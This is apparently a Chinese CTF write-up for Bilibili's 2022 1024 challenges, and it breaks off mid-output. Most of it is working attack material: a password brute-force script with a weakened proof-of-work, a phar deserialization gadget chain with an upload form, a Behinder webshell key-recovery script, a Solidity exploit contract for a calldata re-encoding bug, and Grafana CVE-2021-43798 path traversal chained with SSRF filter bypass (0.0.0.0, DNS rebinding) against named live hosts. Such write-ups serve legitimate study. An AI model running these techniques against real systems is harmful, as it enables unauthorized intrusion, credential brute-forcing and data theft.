T1

core.js

一个脚本

function SHA256(s) {
const chrsz = 8
const hexcase = 0

function safe_add(x, y) {
const lsw = (x & 0xFFFF) + (y & 0xFFFF)
const msw = (x >> 16) + (y >> 16) + (lsw >> 16)
return (msw << 16) | (lsw & 0xFFFF)
}

function S(X, n) {
return (X >>> n) | (X << (32 - n))
}

function R(X, n) {
return (X >>> n)
}

function Ch(x, y, z) {
return ((x & y) ^ ((~x) & z))
}

function Maj(x, y, z) {
return ((x & y) ^ (x & z) ^ (y & z))
}

function Sigma0256(x) {
return (S(x, 2) ^ S(x, 13) ^ S(x, 22))
}

function Sigma1256(x) {
return (S(x, 6) ^ S(x, 11) ^ S(x, 25))
}

function Gamma0256(x) {
return (S(x, 7) ^ S(x, 18) ^ R(x, 3))
}

function Gamma1256(x) {
return (S(x, 17) ^ S(x, 19) ^ R(x, 10))
}

function core_sha256(m, l) {
const K = [0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5, 0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5, 0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3, 0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174, 0xE49B69C1, 0xEFBE4786, 0xFC19DC6, 0x240CA1CC, 0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA, 0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7, 0xC6E00BF3, 0xD5A79147, 0x6CA6351, 0x14292967, 0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13, 0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85, 0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3, 0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070, 0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5, 0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3, 0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208, 0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2]
const HASH = [0x6A09E667, 0xBB67AE85, 0x3C6EF372, 0xA54FF53A, 0x510E527F, 0x9B05688C, 0x1F83D9AB, 0x5BE0CD19]
const W = new Array(64)
let a, b, c, d, e, f, g, h, i, j
let T1, T2
m[l >> 5] |= 0x80 << (24 - l % 32)
m[((l + 64 >> 9) << 4) + 15] = l
for (i = 0; i < m.length; i += 16) {
a = HASH[0]
b = HASH[1]
c = HASH[2]
d = HASH[3]
e = HASH[4]
f = HASH[5]
g = HASH[6]
h = HASH[7]
for (j = 0; j < 64; j++) {
if (j < 16) {
W[j] = m[j + i]
} else {
W[j] = safe_add(safe_add(safe_add(Gamma1256(W[j - 2]), W[j - 7]), Gamma0256(W[j - 15])), W[j - 16])
}
T1 = safe_add(safe_add(safe_add(safe_add(h, Sigma1256(e)), Ch(e, f, g)), K[j]), W[j])
T2 = safe_add(Sigma0256(a), Maj(a, b, c))
h = g
g = f
f = e
e = safe_add(d, T1)
d = c
c = b
b = a
a = safe_add(T1, T2)
}
HASH[0] = safe_add(a, HASH[0])
HASH[1] = safe_add(b, HASH[1])
HASH[2] = safe_add(c, HASH[2])
HASH[3] = safe_add(d, HASH[3])
HASH[4] = safe_add(e, HASH[4])
HASH[5] = safe_add(f, HASH[5])
HASH[6] = safe_add(g, HASH[6])
HASH[7] = safe_add(h, HASH[7])
}
return HASH
}

function str2binb(str) {
const bin = []
const mask = (1 << chrsz) - 1
for (let i = 0; i < str.length * chrsz; i += chrsz) {
bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32)
}
return bin
}

function Utf8Encode(string) {
string = string.replace(/\r\n/g, '\n')
let utfText = ''
for (let n = 0; n < string.length; n++) {
const c = string.charCodeAt(n)
if (c < 128) {
utfText += String.fromCharCode(c)
} else if ((c > 127) && (c < 2048)) {
utfText += String.fromCharCode((c >> 6) | 192)
utfText += String.fromCharCode((c & 63) | 128)
} else {
utfText += String.fromCharCode((c >> 12) | 224)
utfText += String.fromCharCode(((c >> 6) & 63) | 128)
utfText += String.fromCharCode((c & 63) | 128)
}
}
return utfText
}

function binb2hex(binarray) {
const hex_tab = hexcase ? '0123456789ABCDEF' : '0123456789abcdef'
let str = ''
for (let i = 0; i < binarray.length * 4; i++) {
str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) +
hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF)
}
return str
}

s = Utf8Encode(s)
return binb2hex(core_sha256(str2binb(s), s.length * chrsz))
}


$(function () {
$("#btn").click(function () {
let username = document.getElementById('username').value.trim();
let password = document.getElementById('password').value.trim();
//let nonce = parseInt(Math.random()*9 + 23);
let nonce = parseInt(Math.random()*100 + 9);
let random = document.getElementById('random').value.trim();
console.log(nonce);
for (var i=0;i<Math.pow(2,255);i++) {
let mystr = username + password + random + i.toString();
var s256 = SHA256(mystr);
var s256hex = parseInt(s256, 16)
if (s256hex < Math.pow(2,(256-nonce))) {
console.log("success!");
console.log(mystr);
console.log(s256);
console.log(s256hex);
$.ajax({
url: '/crack1/login',
type: 'POST',
data: JSON.stringify({
'username': username,
'password': password,
'nonce': nonce,
'random': random,
'proof': i.toString(),
}),
dataType: 'json',
contentType: "application/json",
success: function (data) {
console.log(data);
},
error: function (data) {
console.log(data);
}
});
break;
}
}
})
});

可以看到随机选了一个nonce值,然后挖矿算出需要的值然后post

所以我们可以自己构造nonce,降低难度快速计算然后post

用户名admin,密码爆破,nonce设定为最小的9,random去请求然后匹配出来

顺便还能拿到cookie,因为尝试过发现后端会检查random和token匹配

payload:

import requests
import re
import hashlib

def dig(password, random, nonce):
username = "admin"
i = 0
while True:
mystr = username + password + random + str(i)
data_sha = hashlib.sha256(mystr.encode()).hexdigest()
if int(data_sha, 16) < pow(2,(256-nonce)):
break
i += 1
return i

url = "https://security.bilibili.com/crack1/index"
url_login = "https://security.bilibili.com/crack1/login"

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36"
}

s = requests.session()
req = s.get(url, headers=headers).text
rand = re.findall(r'<input class="form-input" name="random" id="random" type="hidden" value="(.*?)">', req)
rand = rand[0]

with open(r"dic.txt", "r") as f:
passwds = f.readlines()

for passwd in passwds:
# passwd = "Aa123456"
if len(passwd.strip()) == 8:
proof = dig(passwd, rand, 9)
print(proof)
json = {
"username": "admin",
"password": passwd,
"nonce": 9,
"random": rand,
"proof": str(proof)
}

req = s.post(url_login, headers=headers, json=json)
if 'flag' in req.headers or 'flag' in req.text:
print(req.headers)
print(req.text)

T2

upload.php

<?php 
header("content-type:text/html;charset=utf-8");

date_default_timezone_set('PRC');

if($_SERVER['REQUEST_METHOD']==='POST') {

$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
if ($size > 2*1024*1024){
echo "<script>alert('文件过大');window.history.go(-1);</script>";
exit();
}

$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
$allow_suffix = array('jpg','gif','jpeg','png');
if(!in_array($ext_suffix, $allow_suffix)){
echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
exit();
}

$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
move_uploaded_file($temp_name, 'upload/'.$new_filename);
echo "success save in: ".'upload/'.$new_filename;

} else if ($_SERVER['REQUEST_METHOD']==='GET') {
if (isset($_GET['c'])){
include("5d47c5d8a6299792.php");
$fpath = $_GET['c'];
if(file_exists($fpath)){
echo "file exists";
} else {
echo "file not exists";
}
} else {
highlight_file(__FILE__);
}
}
?>

5d47c5d8a6299792.php

 <?php

// flag in /tmp/flag.php

class Modifier {
public function __invoke(){
include("index.php");
}
}

class Action {
protected $checkAccess;
protected $id;

public function run()
{
if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){
echo "error path";
exit();
}

if ($this->id !== 0 && $this->id !== 1) {
switch($this->id) {
case 0:
if ($this->checkAccess) {
include($this->checkAccess);
}
break;
case 1:
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
break;
}
}
}

}

class Content {

public $formatters;

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}

foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);
}
}

class Show{
public $source;
public $str;
public $reader;
public function __construct($file='index.php') {
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {
$this->str->reset();
}

public function __wakeup() {
if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
throw new Exception('invalid protocol found in '.__CLASS__);
}
}

public function reset() {
if ($this->reader !== null) {
$this->reader->close();
}
}
}

highlight_file(__FILE__);

phar反序列化

<?php

class Action {
...
public function setAB($a, $b) {
$this->checkAccess = $a;
$this->id = $b;
}
}

class Content {
...
}

class Show{
...
}

$c = new Action();
$c->setAB("php://filter/read=convert.base64-encode/resource=/tmp/flag.php", "aaa");
// "aaa"绕过 !== ,并且switch里"aaa"==0,调用include

$g = new Content();
$g->formatters['reset'] = [$c, run];

$e = new Show();
$e->str = $g; //从$this->str->reset()进入Content
$d = new Show();
$d->source = $e;

$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=$d;
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("test.txt","test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成phar文件,改后缀上传,但这里没有上传按钮

自己写一个html页面然后上传

<form action="http://42.192.54.239/upload.php" method="post" enctype="multipart/form-data">
<div><input type="file" multiple="multiple" accept="image/*" name="file"></div>
<div><input type="submit" value="上传"></div>
</form>

得到上传路径后访问 upload.php?c=phar://upload/xxxx.jpg 就能得到/tmp/flag.php的base64内容

T3

题目提示behind,一眼冰蝎流量,而且没有明文交互,没有密钥获取,因此是冰蝎3不是冰蝎2

密钥不知道,估计是求密钥

那么肯定是xor,如果是aes根本解不出

观察流量包,很多请求开头是 JgkTFVwJHRcNQTAcEA... ,很多返回的开头是 HU4SE1IPNxZK...

推测有特定的格式或者开头

根据冰蝎明文的特点,比如冰蝎请求中的开头一般是 @error_reporting(0);

求key的脚本

from base64 import b64decode

phrases = [
b'<?\n@error_reporting(0);\n\n\nfuncti',
b'<?\n@error_reporting(0);\n\nfunctio',
b'<?\n@error_reporting(0);\n@set_tim',
b'<?\n@error_reporting(0);\nset_time',
b'<?\nerror_reporting(0);\nfunction ',
b"<?\nerror_reporting(0);\nheader('C",
b'<?\nfunction main($action, $remot',
b'<?php\n@error_reporting(0);\n\n\nfuncti',
b'<?php\n@error_reporting(0);\n\nfunctio',
b'<?php\n@error_reporting(0);\n@set_tim',
b'<?php\n@error_reporting(0);\nset_time',
b'<?php\nerror_reporting(0);\nfunction ',
b"<?php\nerror_reporting(0);\nheader('C",
b'<?php\nfunction main($action, $remot',
b'<?php\n\n$taskResult = array();\n$p',
b'@error_reporting(0);\n\nfunction g',
b'@error_reporting(0);\nfunction ma',
b"assert|eval(base64_decode('",
b'\nerror_reporting(0);\n\nfunction m',
]

def xor(l0, l1):
ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a, b in zip(l0, l1)]
return "".join(ret)


def check(cipher):
cipher = b64decode(cipher)
for phrase in phrases:
p0 = phrase[0:16]
p1 = phrase[16:]

c0 = cipher[0:16]
c1 = cipher[16:16 + len(p1)]

k0 = xor(p0, c0)
k1 = xor(p1, c1)
# print(k0, end=" ")
# print(k1)
if k1 in k0:
return k0
return None

def force_check(cipher):
key = check(cipher)
if key:
print("[+]", cipher[:32], "is XOR Behinder Request!")
print("[+] The Key of Behinder is ", key)
return True
else:
return False

cipher_content = "JgkTFVwJHRcNQTAcEAwcGk5cSFw+cU9vDkQxDRAMHRNGCwQTYBokADtFLUZAFgYPTxds"
for i in range(16, len(cipher_content), 4): # 从第16个字节开始,每4个字节为一组
cipher_content_slice = cipher_content[0:i] # 从第0个字节开始,截取i个字节
result = force_check(cipher_content_slice) # 检查截取的字节是否符合规则
if result:
print(f'i:{i}')

把这个key循环右移一位后直接用冰蝎客户端解码

T4

第一题响应头除了flag,还有一个提示说back2.png

访问back2.png,对比原本的back.png发现多了 {sepolia@0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.12;

import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";

//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
//import "@openzeppelin/contracts/utils/Context.sol";


struct Coupon {
uint loankey;
uint256 amount;
address buser;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[2] rs;
}
struct SignCoupon {
Coupon coupon;
Signature signature;
}


contract MyToken is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => uint) public _ebalances;
mapping(address => uint) public ethbalances;

mapping(address => mapping(address => uint256)) private _allowances;

mapping(address => uint) public _profited;
mapping(address => uint) public _auth_one;
mapping(address => uint) public _authd;
mapping(address => uint) public _loand;
mapping(address => uint) public _flag;
mapping(address => uint) public _depositd;

uint256 private _totalSupply;

string private _name;
string private _symbol;

address owner;
address backup;
uint secret;
uint tokenprice;

Coupon public c;

address public lala;
address public xixi;


//mid = bilibili uid
//b64email = base64(your email address)
//Don't leak your bilibili uid
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string mid, string b64email);
event changeprice(uint secret_);

constructor(string memory name_, string memory symbol_, uint secret_) {
_name = name_;
_symbol = symbol_;
owner = msg.sender;
backup = msg.sender;
tokenprice = 6;
secret = secret_;
_mint(owner, 2233102400);
}

modifier onlyowner() {
require(msg.sender == owner);
_;
}

/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}


function symbol() public view virtual override returns (string memory) {
return _symbol;
}


function decimals() public view virtual override returns (uint8) {
return 18;
}

/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}

/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}


function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}

function deposit() public {
require(_depositd[msg.sender] == 0, "you can only deposit once");
_depositd[msg.sender] = 1;
ethbalances[msg.sender] += 1;
}

function getBalance() public view returns (uint) {
return address(this).balance;
}


function setbackup() public onlyowner {
owner = backup;
}

function ownerbackdoor() public {
require(msg.sender == owner);
_mint(owner, 1000);
}

function auth1(uint pass_) public {
require(pass_ == secret, "auth fail");
require(_authd[msg.sender] == 0, "already authd");
_auth_one[msg.sender] += 1;
_authd[msg.sender] += 1;
}

function auth2(uint pass_) public {
uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
require(pass == pass_, "password error, auth fail");
require(_auth_one[msg.sender] == 1, "need pre auth");
require(_authd[msg.sender] == 1, "already authd");
_authd[msg.sender] += 1;
}




function payforflag(string memory mid, string memory b64email) public {
require(_flag[msg.sender] == 2);
emit sendflag(mid, b64email);
}

function flashloan(SignCoupon calldata scoupon) public {


require(scoupon.coupon.loankey == 0, "loan key error");

require(msg.sender == address(this), "hacker get out");
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
c=coupon;

require(_authd[scoupon.coupon.buser] == 2, "need pre auth");

require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
require(scoupon.coupon.amount <= 300, "loan amount error");

_loand[scoupon.coupon.buser] = 1;

_ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
}



function profit() public {
require(_profited[msg.sender] == 0);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, 1);
}


function borrow(uint amount) public {
require(amount == 1);
require(_profited[msg.sender] <= 1);
_profited[msg.sender] += 1;
_transfer(owner, msg.sender, amount);
}


function buy(uint amount) public {
require(amount <= 300, "max buy count is 300");
uint price;
uint ethmount = _ebalances[msg.sender];
if (ethmount < 10) {
price = 1000000;
} else if (ethmount >= 10 && ethmount <= 233) {
price = 10000;
} else {
price = 1;
}
uint payment = amount * price;
require(payment <= ethmount);
_ebalances[msg.sender] -= payment;
_transfer(owner, msg.sender, amount);
}


function sale(uint amount) public {
require(_balances[msg.sender] >= amount, "fail to sale");
uint earn = amount * tokenprice;
_transfer(msg.sender, owner, amount);
_ebalances[msg.sender] += earn;
}

function withdraw() public {
require(ethbalances[msg.sender] >= 1);
require(_ebalances[msg.sender] >= 1812);
payable(msg.sender).call{value:100000000000000000 wei}("");

_ebalances[msg.sender] = 0;
_flag[msg.sender] += 1;
}


/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}

function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}


function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}


function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(msg.sender == owner); //不允许被owner以外调用
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}

return true;
}


function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");

_beforeTokenTransfer(from, to, amount);

uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}

emit Transfer(from, to, amount);

_afterTokenTransfer(from, to, amount);
}


function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");

_beforeTokenTransfer(address(0), account, amount);

_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);

_afterTokenTransfer(address(0), account, amount);
}


function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");

_beforeTokenTransfer(account, address(0), amount);

uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}

emit Transfer(account, address(0), amount);

_afterTokenTransfer(account, address(0), amount);
}


function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}


function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}


function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}


function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}

// debug param secret
function get_secret() public view returns (uint) {
require(msg.sender == owner);
return secret;
}

// debug param tokenprice
function get_price() public view returns (uint) {
return tokenprice;
}

// test need to be delete
function testborrowtwice(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey == 2233);
MyToken(this).flashloan(scoupon);
}

// test need to be delete
function set_secret(uint secret_) public onlyowner {
secret = secret_;
emit changeprice(secret_);
}
}

这是一个token代币, _balances 里存的就是bili币的数量, _ebalances里存的是购买币(相当于eth,这里就称作e币)的数量

卖出bili币的价格为6,而如果 _ebalances 大于233,买入的价格就为1,这样利用差价不断买入卖出, _ebalances 会快速增加

关键就在于怎么拿到初始的 234个 e币

第一个方法是弄很多个账号,每个账号能借2个bili币,20个账号能借2x20=40个bili币,把这些代币都转给一个账号,然后就能卖出40x6=240个 e币

第二个方法是调用flashloan()闪电贷,借出300个e币。

需要满足以下条件

require(scoupon.coupon.loankey == 0, "loan key error");
require(msg.sender == address(this), "hacker get out");
require(_authd[scoupon.coupon.buser] == 2, "need pre auth");

auth1() 和 auth2() 很容易过,那么第三条require就过了

第二条require调用者需要为本地址,发现最后有个 testborrowtwice() 函数,调用了 MyToken(this).flashloan(scoupon);

但是testborrowtwice的 require(scoupon.coupon.loankey == 2233); 和 flashloan() 第一条require的require(scoupon.coupon.loankey == 0, "loan key error"); 冲突,但实际上能过。

这是solidity 8.16 版本之前的 bug Head Overflow Bug in Calldata Tuple ABI-Reencoding | Solidity Blog (soliditylang.org)

0.5.8 引入,0.8.16被修复

通俗来说,就是如果一个结构体中间有一个变长的结构,比如string或者bytes,那么他在第二次打包的时候会出现bug,导致结构体的第一个字段被改成0

有了足够的e币之后,利用差价不断买入卖出,完成两次withdraw即可,或者完成一次withdraw +重入

给出第二种闪电贷的exp

pragma solidity 0.8.12;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/utils/Context.sol";

struct Coupon {
uint loankey;
uint256 amount;
address buser;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[2] rs;
}
struct SignCoupon {
Coupon coupon;
Signature signature;
}

contract MyToken is Context, IERC20, IERC20Metadata {
...
}

contract Exp{
MyToken token;
constructor(address tokenAddress) public {
token = MyToken(tokenAddress);
}

function auth1() public {
token.auth1(0x154be90);
}
function auth2() public {
uint random =uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
token.auth2(random);
}

function get_flashloan() public {
token.deposit();
SignCoupon memory x = SignCoupon(
Coupon(2233,300,address(this),bytes("")),
Signature(114,[bytes32(""),bytes32("")])
);
token.testborrowtwice(x);
}

function buy(uint256 _amount) public{
token.buy(_amount);
}
function sale(uint256 _amount) public{
token.sale(_amount);
}

function attack() public{
//start 300 e, 0 bi
buy(300); //0 e, 300 bi
sale(300); //1800 e, 0 bi
buy(300); //1500 e, 300 bi
sale(300); //3300 e, 0 bi

buy(300); //3000 e, 300 bi
buy(300); //2700 e, 600 bi
token.withdraw(); //0 e, 600 bi
sale(300); //1800 e, 300 bi
sale(300); //3600 e, 0 bi
token.withdraw();
}
function payforflag(string memory mid, string memory b64email) public {
token.payforflag(mid, b64email);
}
}

T5

第二题解出后的界面

/**
* bilibili@2022.
* Congratulations! This is The Flag!
* Auth: K3iove@github
* Repo: 1024-cheers
* @link https://security.bilibili.com/
* @license https://www.bilibili.com/
*/

flag2{PhAr_The_bEsT_Lang}

给了一个github仓库

api test workspace : bilibili-1024-cheers

搜索api test workspace,找到postman里一个workspace

有个api http://101.132.189.74/index 返回

{
"msg": " /etc/server.go"
}

nmap扫描一下,发现80, 2222, 8081, 8082, 8088,github repo issue里提到的9200端口扫不出来

8088端口是Grafana服务,Grafana v8.2.6有个任意文件读取漏洞(CVE-2021-43798)

http://101.132.189.74:8088/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/passwd 可以查看密码

根据之前的信息访问 http://101.132.189.74:8088/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/server.go

拿到源码

package server

import (
"fmt"
"github.com/andelf/go-curl"
"github.com/gin-gonic/gin"
"io"
"net"
"net/http"
"net/url"
"os"
"strings"
"crack5/utils/try"
)


/*func Test(buf []byte, userdata interface{}) bool {
println("DEBUG: size=>", len(buf))
println("DEBUG: content=>", string(buf))
return true
}*/

func SecCheck(myurl string) bool {
if strings.Contains(myurl, "@") || strings.Contains(myurl, "./") {
return false
} else {
return true
}
}

func IsInternalIp(host string) bool {
ipaddr, err := net.ResolveIPAddr("ip", host)

if err != nil {
fmt.Println(err)
}

fmt.Println(ipaddr.IP, ipaddr.Zone)

if ipaddr.IP.IsLoopback() {
return true
}

ip4 := ipaddr.IP.To4()
if ip4 == nil {
return false
}
return ip4[0] == 10 ||
(ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31) ||
(ip4[0] == 169 && ip4[1] == 254) ||
(ip4[0] == 192 && ip4[1] == 168)
}

// 解决跨域问题
func Cors() gin.HandlerFunc {
return func(c *gin.Context) {
method := c.Request.Method

c.Header("Access-Control-Allow-Origin", "*")
c.Header("Access-Control-Allow-Headers", "Content-Type,AccessToken,X-CSRF-Token, Authorization, Token")
c.Header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
c.Header("Access-Control-Expose-Headers", "Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type")
c.Header("Access-Control-Allow-Credentials", "true")
if method == "OPTIONS" {
c.AbortWithStatus(http.StatusNoContent)
}
c.Next()
}
}


// GetData
func GetData(c *gin.Context) {

try.Try(func(){
target, status := c.GetQuery("t")

if !status {
c.JSON(http.StatusOK, gin.H{
"msg":"query invalid",
})
return
}
if len(target) >= 128 || !SecCheck(target) {
c.JSON(http.StatusBadRequest, gin.H{
"msg":"illage url",
})
return
}

u, err := url.Parse(target)

if err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"msg":"illage url",
})
return
} else {
if (u.Scheme != "http" && u.Scheme != "https") || IsInternalIp(u.Hostname()) {
c.JSON(http.StatusBadRequest, gin.H{
"msg":"illage url",
})
return
}

easy := curl.EasyInit()
defer easy.Cleanup()
easy.Setopt(curl.OPT_URL, target)
easy.Setopt(curl.OPT_TIMEOUT, 3)
easy.Setopt(curl.OPT_FOLLOWLOCATION, false)
easy.Setopt(curl.OPT_WRITEFUNCTION, func (buf []byte, extra interface{}) bool {
c.Data(http.StatusOK, "text/html", buf)
return true
})
err := easy.Perform()
if err != nil {
fmt.Printf("ERROR: %v\n", err)
return
} else {
c.JSON(http.StatusInternalServerError, nil)
return
}
}
}).Catch(func() {
c.JSON(http.StatusBadGateway, nil)
return
})

}

func Info(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{
"msg":" /etc/server.go",
})
return
}


//
func LoadUrl(r *gin.Engine) {

r.Use(Cors())
r.GET("/get", GetData)
r.GET("/index", Info)
}


func RunAdmin() http.Handler {
gin.DisableConsoleColor()

f, _ := os.Create("./logs/server.log")
gin.DefaultWriter = io.MultiWriter(f)


r := gin.Default()

r.Use(gin.LoggerWithFormatter(func(param gin.LogFormatterParams) string {
return fmt.Sprintf("[Crack5-Web] %s - [%s] \"%s %s %s %d %s \"%s\" %s\"\n",
param.ClientIP,
param.TimeStamp.Format("2006-01-02 15:04:05"),
param.Method,
param.Path,
param.Request.Proto,
param.StatusCode,
param.Latency,
param.Request.UserAgent(),
param.ErrorMessage,
)
}))
r.Use(gin.Recovery())

LoadUrl(r)

return r
}

可以通过 /get?t=xxx 的方式请求资源。尝试 get?t=http://www.baidu.com 发现能跳转,一眼ssrf

有一些过滤,只能http, https开头,不能出现@ or ./

而且要通过 IsInternalIp() 检查,不能回环,不能是特定的私网ip,不能是错误的ipv4地址

但是0.0.0.0没有被过滤,代表当前主机

这里不太懂go的解析url.Parse和检查,好像编码绕过不太行(可能是我太菜了

http://101.132.189.74/get?t=http://0.0.0.0:9200 可行,返回了9200端口服务内容

这里也可以用 [DNS Rebinding](DNS Rebinding 域名重新绑定攻击技术 - FreeBuf网络安全行业门户)

使用的是一个网上的开发服务:rbndr.us dns rebinding service (cmpxchg8b.com)

填入A和B的地址:

  • A: 127.0.0.1
  • B: 101.132.189.74

DNS解析会在这两个结果IP之间随机返回

访问 http://101.132.189.74/get?t=http://7f000001.6584bd4a.rbndr.us:9200

{
"name" : "ali-sh-sec-ctf-25aaa86-01",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "ikcj8ysFR2KnnTa5chqvUA",
"version" : {
"number" : "7.17.6",
"build_flavor" : "default",
"build_type" : "deb",
"build_hash" : "f65e9d338dc1d07b642e14a27f338990148ee5b6",
"build_date" : "2022-08-23T11:08:48.893373482Z",
"build_snapshot" : false,
"lucene_version" : "8.11.1",
"minimum_wire_compatibility_version" : "6.8.0",
"minimum_index_compatibility_version" : "6.0.0-beta1"
},
"tagline" : "You Know, for Search"
}
null

再搜 Elasticsearch 的漏洞,有一个未授权访问

Elasticsearch 常见漏洞复现合集_安全小工坊的博客-CSDN博客_elasticsearch漏洞

尝试 http://101.132.189.74/get?t=http://0.0.0.0:9200/_search

{
"took" : 1,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 1,
"relation" : "eq"
},
"max_score" : 1.0,
"hits" : [
{
"_index" : "bilibili-1024",
"_type" : "_doc",
